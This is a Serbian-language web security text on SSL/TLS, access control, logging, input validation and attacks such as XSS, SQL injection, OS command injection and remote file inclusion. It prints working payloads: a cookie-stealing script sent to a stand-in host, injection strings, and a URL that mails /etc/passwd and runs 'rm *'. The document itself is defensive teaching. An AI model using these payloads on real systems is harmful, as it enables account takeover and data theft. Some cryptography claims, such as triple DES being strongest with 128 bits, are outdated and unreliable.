Mesto SSL-a u okviru TCP/IP protokol steka Kao to se vidi na slici socket nivo je logiki nivo izmeu transportnog i aplikacionog nivoa u TCP/IP steku. Dakle, SSL radi na transportnom nivou neposredno iznad TCP. To znai da ga mogu koristiti svi protokoli aplikacionog nivoa koji za transport koriste TCP, a to su na primer HTTP, FTP, SMTP, POP3, IMAP, XMP RPC, SOAP i drugi. Nasuprot trvenju koje se iznosi u mnogim marketingkim kampanjama, sam SSL Web aplikaciju ne ini bezbednom. Fraza sajt je 100% bezbedan, koristimo dovodi u zabludu. SSL prua samo gore navadene usluge. SSL/TLS ne prua nikakvu dodatnu bezbednost nakon to podaci napuste IP stek na bilo kom kraju konekcije. Nedostatke pri korienju SSL-a za sesijski transport nemogue je otkloniti ili ublaiti upotrebom SSL-a. SSL koristi i javne kljueve i simetrinu kriptografiju. esto se moe uti pojam SSL setifikata. SSL sertifikat je u stvari X.509 sertifikat. Sertifikat je javni klju kojeg je potpisao neki drugi poverljivi korisnik (sa dodatnim informacijama radi dokaza njegove validnosti). Zbog jednostavnosti, oba protokola SSL i TLS, emo u daljem tekstu oznaavati kao SSL.

3.3.1.Kako SSL i TLS rade?SSL ima dva osnovna naina rada. Prvi je kada se uspostavi SSL tunel i jedino je server autentifikovan, i drugi nain kada su i server i klijent autentifikovani. U oba sluaja SSL se uspostavlja pre nego to pone HTTP transkacija. SSL koristi kombinaciju ifrovanja javnim kljuem, simetrinog ifrovaja, kao i digitalnih sertifikata.

3.3.2.SSL pregovaranje sa autentifikacijom samo serveraSSL pregovaranje sa autentifikacijom samo servera je postupak od devet koraka. 1.Prvi korak u procesu je kada klijent alje serveru Client Hello poruku. Ova pozdravna poruka sadri verziju SSL-a koju klijent podrava. 2.Server odgovara na pozdravnu poruku sa jednom od svojih poruka koja odreuje verziju SSL protokola, ifru i duinu kljua koji e se koristiti prilikom konverzacije, na osnovu ponuenih vrednosti u okviru klijentske pozdravne poruke. 3.Server alje digitalni sertifikat klijentu na uvid. Veina modernih browsera automatski proveravaju sertifikat (u zavisnosti od konfiguracije) i upozoravaju korisnika ako isti nije validan.

17

4.Server alje Server Done poruku koja klijenta obavetava da je server zavrio poetni deo inicijalne sekvence. 5.Klijent generie simetrian klju i ifruje ga koristei serverov javni klju. 6.Klijent alje Cipher Spec poruku koja serveru govori da sva budua komunikacija treba da se vri sa novim kljuem. 7.Klijent sada alje poruku o zavretku koristei novi klju, pri emu utvruje da li server moe takvu poruku da dekodira, te da li je pregovaranje bilo uspeno. 8.Server alje Change Cipher Spec poruku koja klijentu govori da sva budua komunikacija treba da bude kriptovana. 9.Server alje svoju Finished poruku kriptovanu sa novim kljuem. Ako klijent moe da proita ovakvu poruku, znai da je pregovaranje uspeno zavreno.

3.3.3.SSL sa klijentskom i serverskom autentifikacijomSSL pregovaranje sa obostranom autentifikacijom (sa klijentske i serverske strane) je proces od dvanaest koraka. Dodatni koraci su: 4) Server alje zahtev za sertifikat nakon slanja svog sertifikata. 6) Klijent dostavlja svoj sertifikat 8) Klijent alje poruku o proverenom sertifikatu u koju kriptuje deo poznatog teksta koristei svoj tajni klju. Server koristi klijentski sertifikat za dekriptovanje, i na osnovu toga ustanovljava da klijent ima ispravan tajni klju.

Centralno pitanje svakog postupka za ifrovanje je mogunost njegovog razbijanja, odnosno njegova snaga. Snaga postupka zavisi od primenjenog algoritma i duine kljua. Najjai trenutno dostupan algoritam koji se koristi u okviru SSL-a je triple DES sa duinom kljua od 128 bita. Drugi takoe vrlo snaan i zbog svoje brzine najvie rasprostranjen protokol je RC4 koji ima duinu kljua od 128 bita.

18

4.KONTROLA PRISTUPA I AUTORIZACIJAMehanizmi kontrole pristupa su neophodan i kljuni element pri projektovanju bezbednosti svake Web aplikacije. Uopteno gledano, Web aplikacija bi trebalo da titi front-end i back-end podatke, kao i sistemske resurse ograniavanjem korisnikovih radnji, ograniavanjem pristupa resursima i ograniavanjem funkcija koje korisnik vri nad podacima. U idealnom sluaju, kontrola pristupa bi trebalo da zatiti podatke od neautorizovanog gledanja, menjanja i kopiranja. Pojmovi autorizacije i kontrole pristupa esto se grekom zamenjuju. Autorizacija podrazumeva proveru da se vidi da li korisnik ima odgovarajuu dozvolu da pristupi odreenom fajlu ili da izvri odreenu akciju, pod pretpostavkom da se prethodno uspeno autentifikovao. Autorizacija zavisi od specifinih pravila liste kontrole pristupa koju unapred odreuju administratori Web aplikacije ili vlasnici podataka. Tipina provera autorizacije ukljuuje ispitivanje lanstva u odreenoj grupi korisnika, posedovanje odgovarajueg odobrenja, ili prisustvo korisnika na listi odobrenih korisnika resursa. Svaki mehanizam kontrole pristupa koji se koristi za autorizaciju, neposredno zavisi od efikasnih i zatienih kontrola autentifikacije. Kontrola pristupa odnosi se sveobuhvatniji nain kontrolisanja pristupa Web resursima, ukljuujui ogranienja zasnovana na faktorima kao to su doba dana, IP adresa HTTP klijent browsera, domen HTTP klijent browsera, tip enkripcije koju HTTP klijent moe da podri, broj autetifikacija datog korisnika tog dana, posedovanje odreenog broja hardverskih/ softverskih tokena, ili neka izvedena promenjiva koja se moe sa lakoom obraditi. U sferi bezbednosti informacionih sistema postoji obilje prihvaenih modela kontrole pristupa. Mnogi od njih sadre aspekte koji ih ine primenjivim u oblasti Web aplikacija. Uspean mehanizam kontrole pristupa predstavljae kombinaciju sledeih modela i bie upotrebljiv ne samo za upravljanje korisnikim nalozima, ve i za razvoj i integraciju odreenih funkcija aplikacije.

4.1.Diskretna kontrola pristupaDiskretna kontrola pristupa (DAC) podrazumeva ograniavanje pristupa informacijama na osnovu identiteta korisnika i pripadnosti odreenim grupama. Odluka o pristupu je zasnovana na autorizaciji datoj korisniku na osnovu njegovih akreditiva (username, lozinka, hardverski/softverski token itd.) u trenutku autentifikacije. U veini DAC modela, vlasnik informacija i resursa je u mogunosti da menja svoje dozvole po svom nahoenju. Loa strana DAC-a je to to administrator nije u mogunosti da centralno menja dozvole nad fajlovima/podacima smetenim na Web serveru. DAC model kontrole pristupa esto ispoljava jednu ili vie od sledeih osobina: -vlasnici podataka mogu meusobno da razmenjuju vlasnitvo nad podacima sa ostalim korisnicima, -vlasnici podataka mogu da odrede vrstu pristupa datu ostalim korisnicima (read, write, copy, itd.), -viestruko neuspeno ponavljanje pokuaja autorizacije pristupa istom resursu ili objektu generie alarm i/ili ograniava korisnikov pristup, 19

-specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisniku onemoguilo neselektivno kopiranje (copy i paste), -korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogunost da menjaju atribute tih podataka (veliinu fajla, ime fajla, putanju direktorijuma itd.) -pristup informacijama je odreen na osnovu liste kontrole pristupa koja se oslanja na idedntifikatore korisnika i na pripadanje korisnika odreenim grupama.

4.2.Obavezna (Mandatory) kontrola pristupaKod obavezne kontrole pristupa (MAC) sprovoenje bezbednosnih normi ne zavisi od samog korisnika Web aplikacije. MAC obezbeuje informacije dodeljivanjem oznake osetljivosti informacijama i poreenjem nivoa osetljivosti koji je odobren korisniku. Uopteno govorei, MAC mehanizmi kontrole pristupa su sigurniji od ostalih mehanizama uz ustupak na raun performansi i udobnosti korisnika pri radu. MAC mehanizmi dodeljuju sigurnosni nivo svim informacijama, sigurnosno odobrenje svakom korisniku, i obebzbeuju da svaki korisnik ima pristup samo onim informacijama za koje ima odobrenje. MAC je pogodan za upotrebu u sistemima izuzetno velike sigurnosti ukljuujui vojne aplikacije sa vie nivoa sigurnosti. MAC model kontrole pristupa esto ispoljava sledee osobine: -iskljuivo administratori, a ne i vlasnici podataka, mogu da menjaju sigurnosnu oznaku resursa, -svim podacima je dodeljen sigurnosni nivo, -svi korisnici mogu da itaju podatke nie poverljivosti od one to je korisnicima dodeljena ("poverljivi" korisnik moe da ita dokumente koji nisu poverljivi), -svi korisnici mogu da piu dokumente vee poverljivosti nego to im je dodeljena ("poverljivi" korisnik moe da proglasi informaciju strogo poverljivom), -svim korisnicima je dozvoljeno itanje/pisanje nad dokumentima iste poverljivosti koja im je dodeljena ("poverljivi" korisnik ima itaj/pii pristup samo nad poverljivim dokumentom), -pristup je autorizovan ili ogranien objektima u zavisnosti od doba dana u skladu sa sigurnosnim oznakama resursa i akreditivima korisnika, -pristup je autorizovan ili ogranien objektima u zavisnosti od sigurnosnih karakterstika HTTP klijenta (npr. SSL duina bita, informacije o verziji, IP adresa ili domen, itd.).

4.3.Kontrola pristupa zasnovana na ulogama (RBAC)Kod kontrole pristupa zasnovane na ulogama odluke su zasnovane na korisnikovim individualnim ulogama i odgovornostima unutar organizacije ili korisnike baze. Proces definisanja uloga zasnovan je na analiziranju fundamentalnih ciljeva i strukture organizacije i obino je povezano sa bezbednosnim normama. Na primer, u zdravstvenim organizacijama uloge koje imaju korisnici mogu biti doktor, sestra, pacijent itd. Oigledno, ovi korisnici zahtevaju razliite nivoe pristupa pri vrenju svojih funkcija, ali i tipovi Web transakcija kao i njihov dozvoljeni sadraj u varira u zavisnosti od bezbednosnih normi i relevantnih pravila.

20

RBAC metod kontrole pristupa treba da administatorima Web aplikacija da mogunost odreivanja ko moe da vri koju akciju, kada, odakle, kojim redosledom i pod kojim relacionim okolnostima. RBAC model kontrole pristupa pokazuje sledee osobine: -uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na organizacione bezbednosne norme, -uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ili korisnike baze, -svaka uloga oznaava profil koji ukljuuje sve autorizovane komande, transakcije, dozvoljen pristup informacijama, itd. -ulogama su dodeljena odobrenja po principu najmanje privilegije, -uloge se aktiviraju statiki i dinamiki u skladu sa odgovaarajuim relacionim trigerima (upit za help, bezbednosni alarm, iniciranje novog projekta, itd.), -ulogama centralno upravlja administrator ili voa projekta.

21

5.PRAENJE RADA - Event LoggingLogging je neophodan za dobijanje kljunih informacija o bezbednosti, koje se odnose na Web aplikaciju i njene pratee procese. Stvaranje detaljnih log zapisa o pristupu i transakcijama je vano iz vie razloga: -log zapisi su esto jedini zapis koji ukazuje da postoji sumnjivo ponaanje, i u nekim sluajevima se mogu u realnom vremenu diretko unositi u sisteme za deteketovanje neovlaenog upada, -log zapisi omoguuju uvoenje individulne odgovornosti praenjem korisnikovih akcija, -log zapisi su korisni prilikom rekonstrukcije dogaaja nakon pojave problema, vezanih za bezbednost ili problema uopte. Rekonstrukcija dogaaja daje bezbednosnom administratoru potpun uvid u sve aktivnosti uljeza. -log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. U ovom sluaju obrada log zapisa je od klujne vanosti. Nedostatak ili neadekvatna upotreba mehanizama za stvaranje log zapisa umanjuje mogunost otkrivanja neautorizovanih pokuaja pristupa i ne prua informaciju koji su od tih pokuaja bili uspeni.

5.1.ta uneti u log zapisUopteno govorei, stvaranje log zapisa treba da obuhvati infomacije korisne za otklanjanje greaka, kao to su vreme dogaaja, iniciranje, poreklo, kao i detaljan opis procesa. Preporuljivo je beleiti sledee tipove dogaaja u aplikacijama: -itanje podataka, -upis podataka, -izmena bilo kakvih karakteristika podataka, treba da bude obuvhaena logom, ukljuujui dozvole ili oznake kontrole pristupa, lokacija u okviru baza podataka ili vlasnitvo nad podacima, -u sluaju brisanja bilo kakih podataka treba napraviti log zapis, -za mrenu komunikaciju treba napraviti log u svakoj taki komunikacije (bind, connect, accept, itd.), -sve dogaaje vezane za autentifikaciju (logovanje, odjavljivanje, neuspelo logovanje, itd.), -svi neautorizovani pokuaji treba sadre vreme, informaciju o uspenosti, resurse ili funkcije koje su bile autorizovane kao i identifikaciju korisnika koji je pokuao autorizaciju, -sve administativne funkcije (rad sa korisnikim nalozima, razgledanje korisnikih podataka, omoguavanje i onemoguavanje logovanja, itd.) -raznovrsne informacije vezane za otklanjanje greaka.

22

5.2.Obrada log zapisaEfikasna obrada i skaditenje log zapisa je vana za pravilno korienje mogunosti Web servera i aplikacija koje se odnose na logging. Nepravilna obrada i skladitenje informacija od strane mehanizama za logging moe dovesti do gubitka ovih podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih uiniti pravno neupotrebljivim. U idealnom sluaju log zapise bi trebalo prikupljati i organizovati na posebno dodeljenom logging hostu. Mrene konekcije, kao i sadraj log zapisa trebalo bi enkriptovati tako da se zatiti poverljivost i integritet podataka koliko je to mogue. Atributi log zapisa treba da budu takvi da je mogue samo dodavanje novih informacija (stari unosi ne mogu se prepravljati ili brisati). U skladu sa prethodnim, log zapise bi trebalo skladititi na ureajima koji omoguuju jedan upis i vie isitavanja, kao to je CD-R. Kopije log zapisa bi trebalo praviti u pravilnim vremenskim intervalima u zavisnosti od koliine podataka u logu i same njegove veliina (dnevno, nedeljno, meseno itd). Radi lakeg indeksiranja potrebno je usvojiti konvenciju u nazivima log zapisa. Log fajlove bi trebalo kopirati i skladititi na trajne medijume i uvati u skladu sa optim pravilima vae organizacije o bekapovanju. Log fajlove i medijume na kojima se oni nalaze treba brisati i unitavati u skladu sa politikom vae organizacije za odlaganje i unitavanje medija bezbednosno osetljivog sadraja. Potrebno je praviti izvetaje ukljuujui izvetaje o grekama i o detektovanim anomalijama. Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada, kao i u alatke za nadzor sistema i performansi. Sve komponente logovanja treba da budu sinhronizovane sa vremenskim serverom , tako da svi log zapisi mogu biti obraeni bez greaka usled kanjenja. Ovaj vremenski server treba da bude dodatno zatien i ne treba da prua nikakve dodatne usluge unutar mree.

23

6.VALIDACIJA PODATAKANajvei deo napada na sistem se moe spreiti, ili se opasnost od njihove pojave moe znaajno smanjiti odgovarajuom validacijom podataka.Validacija podataka je jedan od kljunih aspekata pri projektovanju Web aplikacije. Kada govorima o validaciji podataka mislimo kako na unos podataka u aplikaciju, tako i na skidanje podataka sa aplikacije.

6.1.Strategije validacijeStrategija validacije podataka je usko povezana sa arhitekturom same aplikacije. Ako je aplikacija ve u postupku izrade, projektovanje optimalne arhitekture bie znatno tee nego u sluaju kada je aplikacija tek u fazi projektovanja. U sluaju da sistem zahteva tipian sistematian pristup u pruanju osnovnih usluga, tada jedna od komponenti moe da filtrira sve ulaze i izlaze, i na taj nain optimizuje pravila i smanji trud. Postoje tri osnovna modela koja se razmatraju prilikom projektovanja strategije validacije podataka: -prihvatanje samo onih podataka za koje se zna da su validni, -odbacivanje podataka za koje se zna da nisu validni, -saniraranje podataka koji nisu validni. Treba istai da je prva strategija daleko najbolja. Moramo priznati da ona nije uvek izvodljiva zbog finansijskih ili tehnikih razloga, tako da emo opisati i druge dve strategije. Sve tri metode treba da provere: -tip podataka, -sintaksu, -duinu. Provera tipa podataka je od izuzetne vanosti. Na primer, aplikacija treba da proveri da li su poslati brojni podaci a ne stringovi.

6.1.1.Prihvati samo poznate validne podatkeKao to je reeno, ovo je najpoeljniji nain validacije podataka. Aplikacija prihvata samo oekivani unos, za koji se zna da je bezbedan. Na primer, pretpostavimo sistem za postavljanje uzima username kao ulaz. Validno korisniko ime se moe definisati kao skup ASCII karaktera A-Z i 0-9. Aplikacija treba da proveri da li se ulazni string sadri od karaktera A-Z i 0-9 i da li njegova duina ne prelazi dozvoljenu.

24

6.1.2.Odbaci podatke za koje se zna da nisu validniOva strategija je zasnovana na injenici da je aplikacija upoznata sa specifinim malicioznim paketima. Iako je tano da ovakva strategija moe da ogranii otkrivanje, veoma je teko odravati aurnom bazu podataka koja sadri podatke o karakteristikama napada na Web aplikacije.

6.1.3.Saniraj sve podatkePokuaj da se loi podaci uine bezopasnim je efikasan kao pomona metoda odbrane, posebno kada je kombinovana sa obacivanjem podataka koji nisu validni. Meutim, kako je opisano u prethodnom paragrafu, ovakav nain je izuzetno teak i ne treba ga koristiti kao osnovno sredstvo zatite.

6.2.Nikada se ne oslanjati na validaciju podataka sa strane klijentaValidacija sa strane klijenta uvek moe biti premoena. Validacija svih podataka mora se obavljati na poverljivom serveru ili pod kontrolom aplikacije. U sluaju validacije podataka sa strane klijenta, napada moe da prati povratne vrednosti, te da ih menja po svojoj volji. Ovo izgleda iznenaujue jednostavno, pa ipak, mnogo sajtova jo uvek vri validaciju korisnika, ukljuujui logovanje, koristei samo kod sa strane klijenta, kao to je JavaScript. Validacija sa strane klijenta, sa strane jednostavnosti i lakoe upotrebe, je prihvatljiva, ali se ne moe smatrati pravim postupkom validacije. Svaka validacija trebalo bi da se odvija iskljuivo na strani servera, a da se na strani klijenta izvrava samo povrna kontrola.

25

7.BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA7.1.Napadi na korisnike7.1.1.Cross-site scriptingCross-site scripting je privukao veliku panju javnosti. Ime potie od CERT saveta, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests (http://www.cert.org/advisories/CA-2000-02.html). Napadi se uvek odnose na korisnike sistema, a nikada na sam sistem. Naravno, ako je korisnik administrator sistema to je sasvim druga pria. Sam postupak napada bie predstavljen preko sledeeg primera. Korisnik se prevarom navodi da napravi specifian i paljivo projektovan HTTP zahtev. Napada je prethodno otkrio aplikaciju koja ne filtrira ulaz, te e vratiti korisniku traenu stranicu sa dodatim malicioznim kodom koji je dodat sa zahtevom. Kada Web server primi zahtev za stranicom on alje traenu stranicu zajedno sa delom koda koji je traen. Kada korisnikov browser primi novu stranicu, maliciozni kod se raspakuje i izvrava. Moderni skript jezici, koji se izvravaju sa klijentske strane, vie ne vre samo formatiranje strana, nego su sposobni da izvravaju vei broj akcija. Klijenti prevarom mogu biti uvueni u izvravanje veeg broja razliitih funkcija to moe biti opasno. Ako napada odabere Web aplikaciju za koju je korisnik autentifikovan, skript moe da vri funkcije u ime korisnika. Napad se odvija na taj nain da napada, kroz propuste u samom skriptu, preko Web servera, korisniku (koji je meta napada) poalje stranicu koju je korisnik i zahtevao, meutim, koja je ujedno i zaraena malicioznim kodom. Maliciozni kod se tada pokree uz odobrenje legalnog skripta poslatog sa legitimnog Web servera. Kroz sledei primer bie prikazani mogui propusti u PHP aplikacijama koji dozvoljavaju CSS napade. Pretpostavka je da je korisnik proao fazu autentifikacije i sesija je zapoeta, tako da korisnik poseduje validni sesijski token. Korisnik upotrebljava Web aplikaciju namenjenu pregledanju elektronske pote. Ukoliko se prilikom ispisa naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogunost CSS napada. Deo koda namenjen za ispis je: "". $naslov. "";

U ovom sluaju napada moe naslovu poruke elektronske pote pridruiti JavaScript kod koji je dizajniran da otui korisnikov sesijski token. Kada korisnik zatrai stranicu koja ispisuje poruke elektronske pote, JavaScript kod e se automatski pokrenuti i preusmeriti korisnika na specificiranu URL adresu, zajedno sa sesijskim 26

tokenom. Napada mora proveriti zapise koji su pristigli na ovakav naini i moe preuzeti korisniku sesiju. JavaScript kod koji bi omoguio opisan nain napada mogao bi izgledati ovako: self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(document. cookie)

Mitigation Techniques (tehnike ublaavanja) Spreavanje cross site scriptinga je zahtevan zadatak posebno za iroko distribuirane Web aplikacije. Sa stanovita arhitekture, ako svi zahtevi dolaze na centralnu lokaciju i odlaze sa centralne lokacije, problem je lake reiti optom komponentom. Ako prihvatite preporuenu strategiju validacije, tj. prihvata se samo oekivan ulaz, problem se znatno smanjuje (osim u sluaju kada je potrebno da HTML bude ulaz). Moramo naglasiti da je ova strategija daleko najbolja. U PHP-u, ovakva ranjivost bi se mogla ispraviti upotrebom htmlspecialchars() funkcije, koja konvertuje specijalne karaktere u HTML entitete. U ovom konkretnom primeru, bie konvertovani karakteri < i > u njihove odgovarajue entitete: &lt i &gt. Prilikom uitavanja Web stranice nita se nee dogoditi jer e ovi entiteti korisnikovom Web browseru ukazivati na obian tekst a ne specijalne karaktere.http://www.cert.org/tech_tips/malicious_code_mitigation.html

27

7.2.Napadi na sistem7.2.1.Direktne SQL naredbeKod nekih aplikacija se ne vri validacija korisnikog unosa, to znai da je zlonamernom korisniku omoguen direktan pristup bazi podataka. Ovakav napad, poznat kao SQL injection, je iznenaujue jednostavan. Pretpostavimo da Web aplikacija doputa korisniku izmenu lozinke, to je sluaj sa veinom Web aplikacija. Korisnik se loguje i kree kroz stranicu sa opcijama za korisnki nalog, odabira promenu lozinke, zatim unosi staru i novu lozinku, dva puta zbog sigurnosti . Korisniku je naizgled ovo sasvim jasan proces. Kada korisnik unese staru i dva puta novu lozinku u Web obrazac, browser upuuje HTTP zahtev Web aplikaciji i alje joj podatke. Zbog zatite podataka u tranzitu, ovo bi trebalo da se vri preko SSL-a. Tipian kod za autentifikaciju bi izgledao ovako:$sql="SELECT * FROM users WHERE username='$username' AND password='$password'"; $res = $conn->Execute($sql); if ($res->RecordCount()==0) $boolAuthenticated=false; else $boolAuthenticated=true;

Korisnik je preko forme poslao serveru svoje korisniko ime i lozinku koji se unose u SQL upit i prosleuju bazi podataka. U bazi podataka se proverava da li postoji slog koji sadri zadate akreditive. U sluaju da postoji, korisnik je proao autentifikaciju. Ukoliko je korisnik u formu za autentifikaciju uneo sledei kod:Korisniko ime: ' OR '1'='1 Lozinka: ' OR '1'='1

Vrednost promenljive $sql e biti:$sql="SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'";

to znai da e aplikacija smatrati korisnika autentifikovanim jer je uslov '1'='1' uvek ispunjen. Posledice su razarajue. Napada je u mogunosti da menja administratorske lozinke po svom nahoenju, onemoguavajui pristup pravim vlasnicima sistema i otvarajui sebi neogranien pristup. Loe projektovana Web aplikacija omoguava hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadraj na slubenim sistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita na prvobitni upit bazi podataka. SQL injection moe da se upotrebi i za: -izmenu SQL vrednosti, -proirivanje SQL izraza, -dodavanje funkcija poziva i procedura za skladitenje postojeim SQL naredbama, -modifikacija izlaznih podataka. 28

Izmena SQL vrednosti:UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';

Maliciozni HTTP zahtev:http://www.none.to/script?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--%

Proirivanje SQL naredbi:SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Maliciozni HTTP zahtev:http://www.none.to/script?0';insert+into+pg_shadow+usename+values+('hosch i')

Dodavanje funkcija poziva i procedura za skladitenje postojeim SQL naredbamaMaliciozni HTTP zahtev:http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)

SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';

Modifikacija izlaznih podataka:SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size =

Maliciozni HTTP zahtev:http://www.none.to/script?size=0'+union+select+'1','1','1',concat(uname|| '-'||passwd)+as+i_name+'1'+'

Tehnike ublaavanja Spreavanje SQL injection-a je zahtevan zadatak posebno za velike Web sisteme, sastavljene iz vie aplikacija. Filtriranje SQL naredbi neposredno pre izvravanja smanjuje rizik od pogrenog filtriranja. Primena preporuene strategije za validaciju ulaznih podataka znaajno smanjuje problem, meutim ovakav pristup ne moe da zaustavi sve SQL injection napade. Pored toga mogu se javiti tekoe pri implementaciji u sluaju kada algoritam filtriranja treba da odlui da li dotini podaci treba da postanu deo upita ili ne, a potrebno je da algoritam prepozna na koju bazu podataka se takav upit odnosi. Na primer, korisnik koji u obrazac unese prezime ONeil ujedno unosi i specijalan metakarakter (). Unos ovakvog karaktera mora biti dozvoljen poto je to sastavni deo imena. Meutim, ne moe se dozvoliti da ovakav karakter postane deo upita za bazu podataka, te njegovo izbegavanje moe biti neophodno. Razliite baze podataka zahtevaju da se razliiti karakteri izbegavaju na razne naine, te je potrebno za svaku bazu poznavati karaktere koje je potrebno sanirati. Korisni linkovi:

29

http://www.sqlsecurity.com/faq-inj.asp http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

7.2.2.Direktne OS naredbeSkoro svi programski jezici doputaju upotrebu tzv. sistemskih naredbi, pa i kod mnogih aplikacija sree se ovakva funkcionalnost. Sistemski interfejs u programskom i skript jeziku preputa unos (naredbe) samom operativnom sistemu. Operativni sistem izvrava dati unos i vraa odgovarajui izlaz na stdout zajedno sa razliitim povratnim kodovima kao to su uspeno, neuspeno, itd. Sistemske naredbe mogu da budu veoma ugodna alatka za rad, koje se uz malo truda mogu integrisati u aplikaciju . Najea primena ovih naredbi u Web aplikacijama je manipulacija fajlovima (uklanjanje, kopiranje), slanje email-ova i pozivanje alatki operativnog sistema u cilju razliitih izmena na ulazu i izlazu (filtriranje) aplikacija. Izvravanje spoljnjih programa sa imenima ili argumentima specificiranim od strane korisnika je najbolja ilustracija direktne tete koju neovlaeni korisnik moe izazvati pozivom direktnih OS naredbi. Funkcije koje se koriste u PHP skript jeziku prilikom poziva spoljanjih programa su sledee: exec() - izvrava naredbu u argumentu i vraa zadnju liniju izlaza programa, passthru() - izvrava naredbu u argumentu i vraa sav generisani izlaz programa direktno u udaljeni Web browser, system() - kao i passthru (), ali ne podrava binarne podatke, popen() - izvrava naredbu u argumentu. Nekad je poziv spoljanjih programa neophodan, meutim ove funkcije predstavljaju vrlo visok bezbednosni rizik u kombinaciji s korisnikim unosom. U uputstvima za PHP jezik, koje se odnose na ove funkcije, stoji upozorenje da ukoliko se funkcijama predaju podaci uneseni od strane korisnika, potrebno je koristiti escapeshellarg() ili escapeshellcmd() funkcije. Poziv funkcije system($unos_korisnika) je nesiguran jer dozvoljava korisniku da izvrava proizvoljne naredbe na Web serveru. Dalje, poziv funkcije poput:exec ('program'` , $arg_korisnika);

dozvoljava korisniku upotrebu znakova koji imaju specijalno znaenje. Ovakvi pozivi su vrlo opasni jer PHP uvek prosleuje ovakve nizove direktno na izvravanje. U sledeem primeru prikazano je nepravilno korienje popen() funkcije:

30

Korisnik moe kontrolisati sadraj promenljive $to kroz sledei upit:http://www.primer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+% 2Fpass wd%3B+rm+%2A

to rezultuje pokretanje sledee naredbe:/usr/sbin/sendmail -i korisnik@nesiguran.com /etc/passwd; rm *

Kreativniji napadai mogu ak napisati i virus, pa ga na ovaj nain ubaciti u sistem. Reenje ovog problema je paljivo filtriranje korisnikog unosa pre predavanja koda interpreteru. Upravo zato je neophodno koritenje escapeshellarg() i escapeshellcmd() funkcija. Konkretno reenje prethodnog primera bilo bi:

7.2.3.Otkrivanje putanje dokumentaMnoge Web aplikacije koriste sistemske fajlove Web servera da bi privremeno i/ili trajno skladitile informacije. WWW-ROOT je tipian virtualni direktorijum u Web serveru koji je dostupan HTTP klijentu. Web aplikacije mogu da skladite podatke u i/ili van WWW-ROOT direktorijuma u za to predvienim lokacijama. Ako aplikacija ne vri pravilno proveru i obradu meta-karaktera za opis putanje (path) npr. ../ mogue je da je aplikacija osetljiva na path traversal napad. Napada moe da izradi maliciozan zahtev za podacima o fizikoj lokaciji fajlova kao to su /etc/passwd itd. Ovo se esto naziva kao ranjivost otkrivanja fajlova. Napada moe isto tako da upotrebi ove osobine za stvaranje specijalno pravljenih URL-a. Path traversal napadi se obino koriste zajedno sa napadima poput direktnih OS naredbi ili direktnih SQL injection.

7.2.4.Ukljuivanje udaljenih datotekaMnogi skript i progragmski jezici omoguavaju ukljuivanje u programski kod lokalnih i udaljenih datoteka. U PHP-u se to vri uz pomo include(), include_once() , require() i require_once() funkcija. Ove funkcije kao argument uzimaju naziv datoteke, te ih parsuju kao PHP kod. Ova mogunost dozvoljava, na primer, odvajanje datoteka koje slue za klase, kod koji se esto koristi, itd. Uveliko pomau i pri odravanju i itljivosti koda. Koncept ukljuivanja udaljenih datoteka je vrlo opasan, jer dozvoljava ubacivanje nepoznatog i mogue opasnog koda direktno u programski kod. U sledeem primeru ukljuivanje datoteke zavisi od korisnikog unosa. Skript ima vie HTML datoteka te se kroz promenljivu $stranica vri njihovo prikazivanje zavisno od odabranog redosleda: 31

Preko HTTP GET metoda, promenljiva $stranica se moe postaviti na eljenu vrednost.http://www.primer.com/okvir.php?stranica=/etc/passwd

ili,http://www.primer.com/okvir.php?stranica=http://nepoznato.com/kod.html,

pri emu kod.html sadri nekoliko linija koda koje mogu biti tetne na strani servera: ($libdir.'stil.php');

Napada moe kroz delovanje na promenljivoj $libdir promeniti putanju u kojoj e PHP interpreter traiti datoteku stil.php. Napada sada ima pristup datoteci stil.php, ukoliko je promenio putanju tako da ona pokazuje na njegov lokalni sistem http://www.nepoznato.com. Potrebno je napraviti datoteku stil.php i u nju zapisati kod koji se eli izvriti na udaljenom serveru. Kao primer moe posluiti sledei deo koda: